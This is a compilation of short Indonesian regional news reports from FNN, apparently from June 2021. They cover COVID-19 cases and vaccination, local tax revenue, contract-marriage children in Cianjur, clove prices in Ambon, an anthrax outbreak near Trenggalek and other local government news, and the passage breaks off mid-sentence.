Sungailiat,Bangka, FNN - Satuan Gugus Tugas (Satgas) COVID-19 Kabupaten Bangka Provinsi Kepulauan Bangka Belitung mencatat angka kematian pasien COVID-19 di daerah itu hingga saat ini mencapai 73 orang. Juru Bicara Satgas COVID-19 Kabupaten Bangka, Boy Yandra di Sungailiat, Kamis mengatakan, angka kematian pasien COVID-19 sebanyak 73 orang itu tersebar di delapan kecamatan dengan usia rata-rata di atas 50 tahun. "Selain usai tua, pasien COVID-19 yang meninggal dunia di rumah sakit memiliki penyakit penyerta atau sebelumnya mengalami gangguan kesehatan," jelasnya. Untuk di wilayah Kecamatan Sungailiat, angka kematian pasien COVID-19 berada pada grafik kasus tertinggi sebanyak 31 orang, Kecamatan Belinyu sebanyak 10 orang pasien COVID-19 meninggal dunia. Mendo Barat dan Kecamatan Riau Silip masing-masing tujuh orang, Kecamatan Pemali terdapat enam orang. Sedangkan di Kecamatan Puding Besar, Merawang dan Kecamatan Bakam masing-masing terdapat empat orang pasien meninggal dunia. "Sampai hari ini masih terdapat 258 orang terkonfirmasi positif COVID-19 dan menjalani perawatan kesehatan baik di sejumlah rumah sakit maupun di balai isolasi yang disediakan pemerintah daerah dan isolasi mandiri," jelasnya. Berdasarkan data informasi COVID-19 di Kabupaten Bangka, akumulasi warga yang terkonfirmasi positif COVID-19 mencapai 4.261 orang, 3.930 orang sudah dinyatakan sembuh serta diketahui 5.769 orang kontak erat dengan pasien COVID-19. "Saya ingatkan seluruh masyarakat agar tetap meningkatkan disiplin protokol kesehatan untuk mencegah penyebaran virus corona seminimal mungkin sehingga wilayah Kabupaten Bangka kembali ke zona aman," ujarnya. (sws)

Pemkab Bangka Targetkan Pendapatan Sektor PBB-P2 Rp7.2 miliar 2021

Sungailiat, Bangka, FNN - Pemerintah Kabupaten Bangka Provinsi Kepulauan Bangka Belitung menargetkan pendapatan daerah dari sektor Pajak Bumi dan Bangunan Perdesaan dan Perkotaan (PBB-P2) sepanjang tahun 2021 sebesar Rp7,2 miliar, sementara hingga 10 Juni 2021 sudah terealisasi sebesar 57,63 persen dari target "Target pendapatan sektor PBB-P2 dari wajib pajak tahun 2021 sebesar Rp7,2 miliar, naik dari target penerimaan tahun sebelumnya sebesar Rp7,02 miliar," kata Kabid Penagihan dan Piutang Pajak Daerah BPPKAD Kabupaten Bangka, Adi Muslih di Sungailiat, Kamis. Untuk memaksimalkan pendapatan, pihaknya melibatkan pemerintah desa, kelurahan dan kecamatan untuk membantu wajib pajak yang mencapai jumlah 99.435 wajib pajak tersebar di 60 lebih desa di delapan kecamatan. "Saya optimis, target pendapatan sektor PBB-P2 mampu tercapai 100 persen seperti dua tahun sebelumnya meskipun tim penagihan harus kerja berat atau turun kelapangan," jelasnya. Dalam melakukan penagihan, kata Adi Muslih pihaknya memberikan pelayanan maksimal sampai ke tingkat desa dengan melibatkan pihak Bank SumselBabel sehingga mempermudah akses pembayaran pajak termasuk tim penagihan dengan armada "Mobil Mas Jempol". "Saya mengajak seluruh wajib pajak untuk berperan aktif mendukung pembangunan daerah dengan cara membayar kewajibannya tepat waktu," jelasnya. (sws)

Pemkab Cianjur Menjamin Masa Depan Anak Hasil Kawin Kontrak

Cianjur, FNN - Pemkab Cianjur, Jawa Barat, menjamin masa depan anak hasil kawin kontrak mulai dari kesehatan hingga pendidikan serta terkait administrasi kependudukannya, meski hingga saat ini belum memiliki data pasti berapa jumlah anak hasil kawin kontrak di Cianjur. "Kami instruksikan dinas terkait untuk berkoordinasi dengan kecamatan dan desa, guna melakukan pendataan anak hasil kawin kontrak di Cianjur. Berbagai kesulitan yang dialami orang tuanya termasuk terkait adminduk, akan kita bantu," kata Bupati Cianjur, Herman Suherman di Cianjur, Kamis. Setelah didapat data yang pasti, ungkap dia, pihaknya akan menjamin kesehatan, pendidikan hingga jenjang SMA sederajat. Bahkan anak hasil kawin kontrak yang merupakan tanggung jawab pemerintah daerah, akan dibuatkan kartu BPJS kesehatan. Hal tersebut, ungkap dia, sebagai bukti pemerintah daerah peduli terhadap keberadaan anak hasil kawin kontrak yang sebagian besar tidak memiliki ayah, termasuk upaya antisipasi psikologi yang akan ditanggung, sehingga mereka tidak merasa diterlantarkan dan mendapat tekanan dari lingkungan sekitar. "Pendataan yang dilakukan untuk memastikan anak-anak tersebut sudah masuk dalam administrasi kependudukan, kalau belum kita akan proses agar mereka tetap masuk dalam adminduk negara, meski status pernikahan orang tuanya secara kontrak," katanya. Sedangkan terkait larangan kawin kontrak di Cianjur, tambah dia, hingga saat ini tengah dipercepat dengan target sebelum akhir bulan Juni, larangan yang tertuang dalam Peraturan Bupati itu akan segera dibahas bersama anggota DPRD Cianjur, sebelum ditetapkan. Sementara berbagai kendala banyak dirasakan pelaku kawin kontrak, ketika memiliki anak hasil hubungan yang tidak sampai satu bulan bersama wisatawan asing asal Timur Tengah seperti mengurus akta kelahiran. Bahkan mereka mengalami tekanan beragam dari warga yang mengetahui anak yang mereka lahirkan mirip orang Arab. "Kendala yang sangat kami rasakan, saat memiliki anak hasil kawin kontrak dengan wisatawan asing, ketika anak hendak masuk sekolah karena selama ini, tidak memiliki akta kelahiran dan bukti surat nikah untuk mengurus ke dinas. Kami berharap semua kemudahan kami dapatkan," kata Laila perempuan asal Kecamatan Cipanas. Ia menambahkan, dengan adanya jaminan dari pemerintah, mereka berharap mendapat kemudahan dalam mengurus adminduk untuk anak yang selama ini, tidak memiliki akta kelahiran dan kerap dikucilkan teman-temannya."Kalau selama ini, banyaknya kami hanya membuat surat keterangan," katanya. (sws)

Wabup Garut: Warga Harus Tetap Produktif di Tengah Pandemi

Garut, FNN - Wakil Bupati Garut Helmi Budiman mengatakan agar warga Kabupaten Garut, Jawa Barat tetap produktif melakukan kegiatan ekonominya meski saat ini masih pandemi COVID-19 dengan selalu memperhatikan protokol kesehatan agar terhindar dari wabah tersebut. Kondisi pandemi yang masih mengancam kesehatan masyarakat itu, bukan berarti harus diam tetapi harus produktif melakukan sesuatu yang bermanfaat di tengah pandemi. "Kegiatan ekonomi tetap berjalan agar ekonomi tidak sama sekali berhenti, masih bisa berjalan," kata Helmi Budiman di Garut, Kamis. Wabah COVID-19 masih terjadi di Kabupaten Garut, bahkan selama beberapa hari ke belakang angka terkonfirmasi positif COVID-19 kembali terjadi penambahan yang cukup banyak. Meski begitu, Kabupaten Garut masih dinyatakan zona oranye penyebaran COVID-19 artinya belum zona merah sehingga aktivitas masyarakat masih diperbolehkan dengan tetap mematuhi protokol kesehatan. "Zona oranye, ada kegiatan tapi tetap kita batasi 25 persen," katanya. Seperti kaum ibu-ibu bisa melakukan kegiatan usaha kuliner di rumahnya, maupun membuka usaha lainnya yang pemasarannya secara daring. "Ya bukan berarti di rumah tidak produktif, kan sekarang ibu-ibu lebih ke kuliner, dengan cara online ibu-ibu bisa lebih eksis," katanya. Kegiatan yang sifatnya krusial seperti penyediaan kebutuhan pokok masyarakat, termasuk pelayanan rumah sakit di puskesmas maupun rumah sakit tetap berjalan. "Bagaimana untuk kebutuhan pokok ini masih tetap berjalan," katanya. (sws)

Realisasi PAD Bandarlampung dari Uji KIR Capai 43 Persen

Bandarlampung, FNN - Realisasi Pendapatan Asli Daerah (PAD) Kota Bandarlampung dari bidang Uji Emisi Kendaraan (KIR) telah mencapai 43 persen dari target Rp1,5 miliar pada tahun 2021. "Hingga akhir Mei 2021 realisasi kita sudah Rp700 juta atau 43 persen dari target," kata Kepala UPT KIR Dinas Perhubungan Kota Bandarlampung, Andy Koenang, di Bandarlampung, Kamis. Dia optimistis pada tahun 2021 akan mencapai target PAD yang telah ditetapkan mengingat di tahun 2020 meski situasi sulit karena awal masa pandemi COVID-19 UPT KIR mampu mencapai Rp81 persen dari target Rp1,2 miliar. Pihaknya, akan berusaha memenuhi 50 persen lebih target pada akhir bulan Juni dengan memaksimalkan pelayanan KIR yang beroperasi dari hari Senin hingga Sabtu. Namun di hari Sabtu pelayanan buka hanya setengah hari. "Alhamdulillah tahun 2020 walaupun awal pandemi COVID-19 kita bisa capai 81 persen dari target, dan tahun 2021 kita optimistis bisa capai 100 persen. Dalam jangka waktu dekat paling tidak Juni akhir sudah capai 50 persen lebih dari target," kata dia. Dalam satu hari pihaknya dapat melayani pengujian KIR kendaraan sekitar 80 sampai 120 unit tergantung situasinya. "Kalau lagi banyak bisa capai 100 lebih kendaraan yang datang untuk uji KIR," kata dia. Ia mengajak kepada pemilik kendaraan untuk tidak malas melakukan uji KIR, sebab masih banyak dari mereka yang tidak melakukannya karena dianggap uji KIR akan memakan waktu yang lama padahal tidak sama sekali. "Banyak yang bilang uji KIR lama prosesnya tapi kita lihat dari pukul 08.00 hingga pukul 11.00 WIB kita sudah uji 60 kendaraan, artinya hanya sekitar tiga menit saja satu kendaraan," kata dia. Namun begitu, tempat untuk melakukan uji KIR saat ini masih kurang mendukung apalagi guna menampung kendaraan-kendaraan yang berukuran besar. "Jadi kalau sedang ramai dan didominasi kendaraan besar truk dan semacamnya agak sedikit sulit parkirnya," katanya. (sws)

Pertamina Sosialisasikan Program Langit Biru di Pesisir Barat Lampung

Bandarlampung, FNN - PT Pertamina (Persero) Marketing Operation Region (MOR) Sumbagsel menyosialisasikan rencana pelaksanaan Program Langit Biru di Kabupaten Pesisir Barat, Lampung. "Pertamina bersinergi dengan Pemerintah Kabupaten Pesisir Barat untuk memperluas dan memperkuat pelayanan dan penyediaan energi kepada masyarakat," kata Unit Manager Communication, Relation & CSR MOR II, Umar Ibnu Hasan, dalam keterangannya yang diterima di Bandarlampung, Kamis. Selain sosialisasi pelaksanaan Program Langit Biru (PLB) dan Pertashop, pihaknya juga berdiskusi terkait kebutuhan BBM nelayan bersama Pemerintah Kabupaten Pesisir Barat, Lampung. Unit Manager Communication, Relation & CSR MOR II itu mengungkapkan, kegiatan ini merupakan salah satu bentuk sinergitas antara Pertamina Sumbagsel dengan Pemkab Pesisir Barat. Pertamina akan terus berupaya memperluas pendirian Pertashop dan pelaksanaan Program Langit Biru. "Jalinan komunikasi dan kerja sama yang baik ini sangat penting agar kegiatan operasional perusahaan di wilayah Pesisir Barat, Lampung ini bisa berjalan lancar dan sukses," ujarnya. Pemkab Pesisir Barat, mendukung Program Langit Biru untuk kualitas udara yang lebih baik dan mengedukasi masyarakat untuk menggunakan bahan bakar minyak berkualitas dan ramah lingkungan. Program Langit Biru merupakan program pemerintah untuk mengendalikan pencemaran udara terutama yang bersumber dari kendaraan dengan tujuan meningkatkan kualitas udara bersih dengan mengurangi emisi gas buang melalui edukasi dan mengajak masyarakat merasakan pengalaman manfaat menggunakan BBM berkualitas dan ramah lingkungan. Selain itu, Pertamina juga menjelaskan program Pertashop yang merupakan lembaga penyalur Pertamina dengan skala kecil untuk melayani kebutuhan BBM, elpiji dan juga pelumas yang tidak atau belum terlayani oleh lembaga penyalur Pertamina lain. "Ini menjadi peluang usaha bagi mitra Pertamina. Program ini tempat isi ulang bahan bakar dengan areal minimalis," kata Umar. Pertashop ini sangat didukung juga oleh Pemkab Pesisir Barat untuk menggerakkan ekonomi desa dan memudahkan masyarakat mendapat BBM berkualitas dan ramah lingkungan dengan standar kualitas dan harga Pertamina. Ada dua titik Pertashop yang sudah beroperasi di wilayah Pesisir Barat, yakni di Desa Penyandingan, Kecamatan Bengkunat dan Desa Muara Tembulih, Kecamatan Ngambur. "Pertamina berkomitmen memeratakan penyediaan energi terutama BBM dan elpiji hingga ke pelosok daerah. Kami mengharapkan kerja sama yang baik antara Pertamina dan pemerintah daerah serta masyarakat agar Program Langit Biru hingga penyaluran BBM melalui Pertashop ini berjalan optimal," tambah Umar. (sws)

PLN Pereulak Beri Sambungan Listrik Gratis bagi Balai Pengajian

Banda Aceh, FNN - PLN ULP Pereulak Kabupaten Aceh Timur memberikan bantuan penyambungan listrik secara gratis untuk balai pengajian Dayah Darutthalibin yang berada di Gampong Pasir Putih, Dusun Cot Payanga. “Bantuan listrik gratis ini merupakan program One Man One Hope yang rutin dilakukan bersumber dari sumbangan para pegawai dan karyawan karyawati untuk membantu masyarakat kurang mampu yang belum menikmati listrik,” kata Manager ULP Pereulak Bayu Sandia Sentosa di Aceh Timur, Kamis. Penyambungan listrik secara gratis tersebut merupakan bentuk kepedulian PLN kepada masyarakat yang belum dapat menikmati Listrik. “Program One Man One Hope ini juga bertujuan menciptakan citra positif PLN di masyarakat," katanya. Pimpinan Dayah, Tgk Heri menyampaikan terima kasih kepada pihak PLN kepada ULP Peureulak atas program One Man One Hope ini dan mengharapkan kedepan program terus berkelanjutan. "Kita berharap dengan program ini masyarakat yang belum memiliki listrik di wilayah kerja PLN ULP Pereulak bisa bantu," kata Tgk Heri. Salah satu keluarga kecil di Desa Blang Mane yang terletak paling ujung di Kecamatan Makmur mendapatkan listrik gratis dari program One Man One Hope. Bantuan penyambungan listrik gratis langsung diserahkan Manager ULP Gandapura Rachmat Ade Brata kepada Rina sebagai penerima manfaat dan dihadiri Sekdes setempat. Rachmat Ade menyampaikan dengan adanya bantuan tersebut dapat memberikan manfaat serta sarana untuk memperbaiki ekonomi masyarakat dan dapat terwujud karena adanya dukungan dari program - program PLN. "Semoga kedepannya kami (PLN) dapat terus memberikan bantuan yang bermanfaat kepada seluruh masyarakat," katanya. (sws)

PLN Sosialisasikan Sistem Managemen Anti Suap untuk Para Mitra

Banda Aceh, FNN - PLN Unit Induk Wilayah Aceh mensosialisasikan SNI ISO 37001:2016 Sistem Manajemen Anti Penyuapan (SMAP) untuk para mitra PLN. “Sudah waktunya PLN menuju perusahaan yang terkelola dengan baik atau good corporate governance dengan harapan menjadi bisnis yang lebih sehat,” kata GM PLN Aceh Abdul Mukhlis di Banda Aceh, Kamis. Pernyataan itu disampaikannya di sela-sela membuka sosialiasi SMAP yang berlangsung secara daring dan diikuti 34 mitra kerja, PIC hubungan industrial dan pengguna alih daya dari PLN UIW Aceh. Dengan sosialisasi tersebut diharapkan mitra kerja dan PLN dapat terhindar dari tindakan hukum yang beresiko dan dapat menjadi kepercayaan masyarakat "Semua pemangku kepentingan telah kita terapkan SMAP ini dengan harapan tidak ada lagi suap menyuap maupun pemberian tidak wajar. Kita ingin ciptakan lingkungan bisnis yang bersih," kata Abdul Mukhlis. Dalam menciptakan sistem manajemen anti penyuapan, PLN berkomitmen untuk menjunjung tinggi program tersebut di seluruh lingkungan kerja PLN Aceh. Dalam kegiatan tersebut juga dirangkai dengan penandatanganan Pakta Integritas oleh seluruh mitra kerja dan stakeholder PLN sebagai upaya pencegahan dan pemberantasan Korupsi, Kolusi dan Nepotisme (KKN) serta tidak melibatkan diri dalam perbuatan curang. PLN juga mengajak pemangku kepentingan dan seluruh mitra kerja yang bekerjasama mendeklarasikan satu persatu pernyataan dari isi dari pakta integritas tersebut secara bersamaan. (sws)

Harga Cengkih di Ambon Naik Petani Beramai-ramai Jual Hasil Panen

Ambon, FNN - Naiknya harga cengkih dari kisaran harga Rp90 ribu per kilogram pada April 2021 menjadi Rp105 ribu per kilogram, membuat para petani perkebunan di berbagai wilayah Maluku beramai-ramai menjual hasil panen mereka ke Kota Ambon. Pantauan Antara di Jalan Setia Budi, Kawasan Rijoli, Kelurahan Batu Gajah, Kota Ambon, Kamis, lokasi gudang pengumpul hasil perkebunan ramai didatangi petani untuk menjual hasil panen cengkih mereka. Seorang petani cengkih asal Kabupaten Buru, Silas (60), berangkat menggunakan kapal motor dari desanya ke Kota Ambon untuk menjual 50 kilogram cengkih dengan harga Rp105 ribu per kilogram. "Saya akan pulang kembali ke kampung dan menyampaikan perkembangan harga cengkih ini kepada teman-teman petani, supaya mau menjual hasil panen yang disimpan selama ini sambil menunggu harga yang bagus baru dijual," kata Silas. Sama halnya dengan Silas, seorang petani lainnya dari Kabupaten Maluku Tengah, Rinto (44) juga menjual 20 kilogram hasil panen cengkih miliknya karena harganya sedang naik. "Mumpung harganya sedang bagus, dijual saja sebelum nanti harganya turun lagi," kata Rinto. Harga komoditas cengkih di Maluku selama Februari 2021 fluktuatif berkisar antara Rp63-Rp67 ribu per kilogram, naik menjadi Rp75 ribu per kilogram pada Maret 2021, dan terus bergerak naik menjadi Rp90 ribu per kilogram pada akhir April 2021. Meningkatnya harga cengkih hingga mencapai Rp100 ribu per kilogram pada Juni 2021, bagaikan angin segar bagi Silas dan petani lainnya. Banyak petani yang sebelumnya memilih untuk menyimpan hasil panen mereka hingga harga tanaman perkebunan itu cukup bagus untuk dijual ke pasar, beramai-ramai mendatangi pedagang pengumpul. Seorang pedagang pengumpul hasil perkebunan, Evi (48) mengatakan dalam tiga hari terakhir harga komoditi cengkih meningkat dari Rp100 ribu per kilogram menjadi Rp105 ribu per kilogram. Kendati hanya naik sebesar Rp5 ribu dari sebelumnya, tapi cukup menggembirakan bagi petani perkebunan. Selain cengkih, komoditas perkebunan lainnya juga mengalami kenaikan harga, seperti biji pala bundar naik dari Rp90 ribu per kilogram menjadi Rp95 ribu per kilogram, fuli atau pembungkus biji pala naik dari Rp240 ribu per kilogram menjadi Rp248 ribu per kilogram, dan kopra dari Rp10 ribu per kilogram menjadi Rp11 ribu per kilogram. Fluktuasi harga komoditas tanaman perkebunan dipengaruhi oleh perubahan harga yang terjadi di Surabaya, daerah yang menjadi pasar utama penjualan hasil perkebunan di Maluku. "Semuanya naik, kecuali cokelat masih terus bertahan dengan harga Rp27 ribu per kilogram. Patokan harga beli yang kami terapkan berdasarkan hasil pemantauan harga di pasar utama Surabaya, kalau terjadi perubahan harga sudah pasti akan ada perubahan juga di sini," ujar Evi. (sws)

Disdik Ambon Arahkan PPDB Daring

Ambon, FNN- Dinas Pendidikan (Disdik) Kota Ambon mengarahkan Penerimaan Peserta Didik Baru (PPDB) tingkat SD dan SMP secara daring. "PPDB saat ini sementara berproses pada sekolah - sekolah, kami arahkan untuk pendaftaran secara daring, " kata Kepala Dinas Pendidikan Kota Ambon, Fahmi Salatalohy, Kamis. Untuk SD/MI sebanyak 215 sekolah yang membuka PPDB, sedangkan untuk SMP/MTs sebanyak 58 sekolah. Pendaftaran PPDB untuk SD/sederajat, telah dibuka 25 Mei - 15 Juni 2021, sedangkan untuk SMP/sederajat, 25 Mei 2021 - 29 Juni 2021. Ia menjelaskan, sebagaimana pelaksanaan PPDB tahun 2020, tahun ini juga diberlakukan jalur zonasi, dengan memperhatikan sebaran sekolah, data sebaran domisili calon peserta didik, dan kapasitas daya tampung sekolah. "Sistem zonasi diberlakukan juga untuk maksud pemerataan siswa, misalnya untuk sekolah unggulan, kuotanya jelas 300 siswa, berarti kalau yang mendaftar lebih dari 300, maka sisanya dialihkan ke sekolah lain yang masih jarang peminat," katanya. Selain jalur zonasi penerimaan siswa juga dibuka sesuai jalur prestasi, jalur afirmasi, dan jalur perpindahan orang tua atau wali. Jalur prestasi untuk calon siswa yang menunjukkan prestasi akademik maupun prestasi non-akademik, jalur afirmasi memberikan kesempatan yang lebih besar bagi anak-anak dari keluarga tidak mampu, dan disabilitas untuk mengakses pendidikan bermutu dan disubsidi oleh pemerintah. "Sedangkan jalur perpindahan orang tua atau wali, memberikan kesempatan untuk anak-anak dari keluarga yang orang tuanya pindah tugas," katanya. Ditambahkannya, pendaftaran calon siswa baru dipersilahkan untuk registrasi melalui situs www.ppdb.ambon.go.id dengan alamat e-mail yang masih aktif. "Semua informasi dan persyaratan umum maupun khusus dapat dilihat pada situs tersebut," tandasnya. (sws)

Guru Besar UNJ Puji Tulisan Ilmiah Megawati di Jurnal Pertahanan

Jakarta, FNN - Guru Besar Universitas Negeri Jakarta (UNJ) Prof Hafid Abbas menyampaikan pujian atas isi tulisan ilmiah Presiden RI Kelima Megawati Soekarnoputri yang mengangkat topik Pancasila yang dipublikasikan di Jurnal Pertahanan Universitas Pertahanan RI. Hafid Abbas di Jakarta, Kamis, mengatakan tulisan ilmiah itu berjudul "The Establishment of Pancasila as the Grounding Principles of Indonesia" yang berarti tentang sejarah pembentukan Pancasila sebagai prinsip dasar Indonesia. "Tidak hanya di dunia pendidikan tinggi dalam negeri tapi juga bagi masyarakat internasional. Sangat luar biasa," kata dia dalam keterangan tertulis. Prof Hafid mengaku mendalami pemikiran Proklamator RI Soekarno, yang menyarikan Pancasila. Bahkan, sebagai pribadi dirinya melakukan gerakan menghidupkan kembali gerakan city of intellect yang pernah digagas Bung Karno lewat UNJ. Karena itu, pria kelahiran Bone, Sulawesi Selatan itu, merasa sangat senang membaca pikiran-pikiran besar dan amat mendasar dari refleksi ilmiah yang diungkap Megawati tentang Pancasila di dalam tulisan ilmiah tersebut. Menurutnya, nilai-nilai universal Pancasila yang diuraikan Megawati di jurnal internasional itu, dapat menjadi kajian ilmiah lebih lanjut di dunia akademik. Lebih lanjut, mantan Dirjen HAM Kementerian Hukum dan HAM itu menyatakan pihaknya melihat sebuah cahaya terang lewat tulisan Megawati itu. Bahwa, nilai-nilai universal Pancasila akan semakin mengakar di semua lini kehidupan masyarakat Indonesia. "Bukan hanya itu, kita sungguh berharap apa yang disampaikan Ibu Megawati ini juga memberi inspirasi bagi masyarakat internasional untuk merawat harmoni kehidupan dan perdamaian di mana pun di planet ini," kata mantan Komisioner Komnas HAM RI tersebut. Hafid mengatakan hal itu sebagai wujud dukungannya atas rencana penganugerahan gelar profesor kehormatan (Guru besar tidak tetap) yang akan diberikan Universitas Pertahanan (Unhan) RI kepada Presiden Megawati. Rencana penganugerahan dilaksanakan pada esok 11 Juni 2021. (mth)

Wamenkes: Lonjakan COVID-19 di Kudus dan Bangkalan Contoh Abai Prokes

Jakarta, FNN - Wakil Menteri Kesehatan Dante Saksono Harbuwono mengemukakan lonjakan kasus COVID-19 yang saat ini melanda Kudus (Jawa Tengah) dan Bangkalan (Jawa Timur) akibat perilaku abai masyarakat terhadap protokol kesehatan. "Berbagai macam contoh kejadian yang terjadi di Kudus dan di Bangkalan yang kita tidak inginkan bersama-sama ini merupakan salah satu contoh bagaimana kalau kita abai dalam kegiatan protokol kesehatan yang benar," katanya dalam acara virtual Dialog Kabar Kamis di Media Center KPCPEN di Jakarta, Kamis. Laju kasus COVID-19 di daerah, katanya, tergantung dari tingkat mobilisasi penduduk, khususnya usai libur Lebaran. Bukan tidak mungkin kondisi serupa juga terjadi di tempat-tempat lain. Pemerintah sejak awal telah memiliki permodelan bahwa tingkat kasus yang terjadi di daerah akan meningkat sekitar enam sampai tujuh pekan dari mobilisasi penduduk. "Apa yang terjadi di Kudus dan Bangkalan bukan cuma tanggung jawab dari daerah tersebut, tetapi tanggung jawab secara nasional dari pemerintah dengan masyarakat yang akan melakukan sinergi bersama supaya kegiatan ini bisa memberikan hasil yang maksimal," katanya. Dante mengatakan daerah yang sudah mengalami kondisi ekstrem peningkatan kasus memperoleh bantuan tenaga kesehatan, fasilitas kesehatan, obat-obatan yang cukup serta melakukan mitigasi dan melakukan evaluasi serta memberikan bantuan manajemen kesehatan. Dalam agenda yang sama, Bupati Kudus M. Hartopo mengatakan lonjakan kasus COVID-19 saat ini hampir mencapai 2.000 kasus. Angka tersebut meleset dari perkiraan awal berkisar 200 kasus. "Prediksi saya kemarin setelah masyarakat divaksinasi ada titik terendah sampai 60 kasus itupun gejala ringan dan sedang. Setelah Idul Fitri, perkiraan saya paling banyak 200-an, ternyata sekarang hampir 2.000 kasus," katanya. Ia mengatakan angka kasus COVID-19 saat ini melebihi angka kasus yang terjadi pada periode yang sama tahun 2020 yang mencapai 185 kasus. Lonjakan kasus tersebut, kata Hartopo, dipicu sejumlah faktor, salah satunya vaksinasi yang menjadikan persepsi masyarakat Kudus menjadi merasa kebal virus. "Padahal vaksin hanya untuk antibodi saja agar tidak ada gejala berat," katanya. Selain itu, budaya silaturahim selama libur Lebaran membuat masyarakat abai pada penggunaan masker, khususnya saat menikmati santapan Lebaran. "Saat Lebaran ada silaturahmi ke saudara. Mereka lepas masker dan menikmati sajian yang ada. Ini potensi yang luar biasa," katanya. (mth)

Pemkab Trenggalek Lakukan Proteksi Wilayah Antisipasi Wabah Antraks

Trenggalek, FNN - Pemerintah Kabupaten Trenggalek, Jawa Timur, mengeluarkan kebijakan proteksi wilayah dengan melarang warganya, baik pedagang sapi maupun peternak, untuk berjualan dan membeli sapi dari Kabupaten Tulungagung. "Kami sudah sampaikan kepada para pedagang sapi maupun peternak, terutama yang berada di Kecamatan Bendungan karena berbatasan langsung dengan Kabupaten Tulungagung di wilayah Pagerwojo, lokasi temuan kasus antraks," kata Kepala Dinas Pertanian dan Pangan Kabupaten Trenggalek Didik Susanto di Trenggalek, Kamis. Sosialisasi intens dilakukan di desa-desa yang berdekatan dengan perbatasan Tulungagung jalur selingkar wilis tersebut, terutama di wilayah Desa Dompyong dan Depok yang secara geografis paling dekat dengan Desa Sidomulyo Tulungagung, daerah yang teridentifikasi kasus antraks. Kecamatan Bendungan memang menjadi perhatian khusus Dinas Pertanian dan Pangan Kabupaten Trenggalek. Sebab, daerah ini memang berbatasan langsung dengan wilayah Pagerwojo, Tulungagung. Selain sosialisasi, petugas kesehatan hewan saat ini intens melakukan pemeriksaan dan pemantauan kesehatan hewan dari kandang ke kandang warga, khususnya di wilayah Kecamatan Bendungan. Didik mengaku, sebelum adanya temuan antraks tersebut para peternak maupun pedagang sapi di dua wilayah tersebut sering berinteraksi dan melakukan penjualan hewan ternak. Saat ini peternakan di Kabupaten Trenggalek dinyatakan aman dari risiko penyakit, terutama antraks. Dulu di daerah ini sempat dikabarkan teridentifikasi kasus antraks pada ternak warga di wilayah Kecamatan Tugu. Namun resume pemantauan lapangan yang sempat dipublikasikan pihak Dinas Peternakan Trenggalek saat itu, kemudian dianulir oleh Bupati Trenggalek periode 2015-2020, Emil Elestianto Dardak yang bersikeras hasil uji labpratorium Balai Besar Veteriner Wates Yogyakarta bukanlah bakteri antraks yang selama ini dikhawatirkan. Sebelumnya kasus kematian sapi dan kambing terjadi secara beruntun di Desa Sidomulyo, Kecamatan Pagerwojo, Tulungagung. Bupati Tulungagung Maryoto Birowo, mengatakan jumlah sapi yang mati mencapai 26 ekor dan 3 ekor kambing. Pada kasus kematian sapi terakhir, petugas Kementerian Petanian serta Balai Besar Veteriner turun langsung dan melakukan pengujian laboratorium. Hasilnya dipastikan positif terpapar antraks, sedangkan pemeriksaan 44 ekor sapi hidup dinyatakan aman dan sehat. (mth)

Pemprov Kalteng Targetkan Vaksinasi 16.000 Orang Setiap Hari

Sampit, FNN - Pemerintah Provinsi Kalimantan Tengah menargetkan minimal bisa menyuntikkan vaksin COVID-19 kepada 16.000 orang setiap hari yang tersebar di 13 kabupaten dan satu kota. "Kami berharap capaian vaksinasi COVID-19 terhadap 16.000 orang setiap harinya di provinsi ini bisa terus dipertahankan dan ditingkatkan. Jika itu konsisten, kami optimis target vaksinasi hingga akhir Juli nanti minimal 30 sampai 40 persen bisa dicapai," kata Gubernur Sugianto Sabran di Sampit, Kabupaten Kotawaringin Timur, Kamis. Hal itu disampaikan Sugianto saat memantau vaksinasi massal di Sampit. Dia datang didampingi Kapolda Irjen Pol Dedi Prasetyo, Danrem 102 Panju Panjung Brigjen TNI Purwo Sudaryanto, anggota DPR RI Agustiar Sabran dan pejabat lainnya. Sugianto dan rombongan meninjau pelaksanaan vaksinasi massal di atrium Citimall, markas Satlantas Polres Kotawaringin Timur dan SMKN 1 Sampit. Rombongan didampingi Bupati Halikinnor bersama Forum Koordinasi Pimpinan Daerah setempat. Sugianto mengatakan, pemerintah provinsi memerlukan dukungan pemerintah kabupaten dan kota untuk memaksimalkan vaksinasi COVID-19. Kotawaringin Timur menjadi perhatian karena memiliki jumlah penduduk terbesar sehingga persentase vaksinasinya diharapkan juga lebih tinggi. Dia menilai capaian vaksinasi di Kotawaringin Timur saat ini cukup baik dan diharapkan terus ditingkatkan. Begitu pula kabupaten dan kota lainnya diminta terus meningkatkan vaksinasi dengan tujuan memutus mata rantai penularan COVID-19 dan mempercepat pemulihan ekonomi. Seluruh bupati dan wali kota diminta tidak ragu mengeluarkan anggaran untuk penanganan COVID-19. Namun tentunya semua harus tetap sesuai aturan dan dipertanggungjawabkan dengan baik. Dia juga mengingatkan bupati dan wali kota tidak bepergian ke luar daerah agar mereka memastikan pelaksanaan vaksinasi di wilayah masing-masing berjalan baik dan optimal. Sugianto menyampaikan terima kasihnya kepada TNI dan Polri yang terus mendukung program vaksinasi. Secara khusus dia juga berterima kasih sekaligus berharap kepada tenaga kesehatan untuk tidak jenuh menjadi tumpuan dan garda terdepan melindungi masyarakat. "Kita bukannya berlomba masuk delapan besar, tetapi kalau bisa kita bisa maksimal dalam vaksinasi ini. Kegiatan ini untuk menyelamatkan masyarakat kita dengan memutus mata rantai penularan COVID-19 melalui vaksinasi," harap Sugianto. Hal serupa disampaikan Kapolda Irjen Pol Dedi Prasetyo. Dia mengajak semua pihak dan masyarakat untuk mendukung kesuksesan program vaksinasi COVID-19 agar pandemi ini bisa diatasi. "Seperti target yang disampaikan pak gubernur tadi, yaitu minimal 16.000 orang per hari, itu harus kita dukung. Kita semua harus bergerak bersama agar program ini bisa maksimal. Ingat, ini demi menyelamatkan masyarakat," kata Dedi. Dedi mengajak masyarakat menyadari bahwa vaksinasi sangat penting untuk melindungi diri dan orang lain dari penularan COVID-19. Protokol kesehatan juga tetap harus dijalankan oleh siapapun, termasuk mereka yang sudah divaksin. "Kita jangan sampai lengah. Jangan sampai kasus COVID-19 kembali meningkat. Kami mengajak masyarakat juga turut membantu kita bersama menangani pandemi COVID-19 ini," kata Dedi. Sementara itu Rahma, salah seorang warga menyampaikan terima kasihnya karena bisa mendapat kesempatan divaksinasi. Dia berharap vaksinasi massal terus dilakukan sehingga masyarakat semakin mudah untuk mendapatkan pelayanan vaksinasi. "Kalau ada vaksinasi massal di banyak tempat seperti ini kan masyarakat bisa lebih mudah karena tidak harus antre di puskesmas. Saya ikut vaksinasi sebagai ikhtiar agar tidak 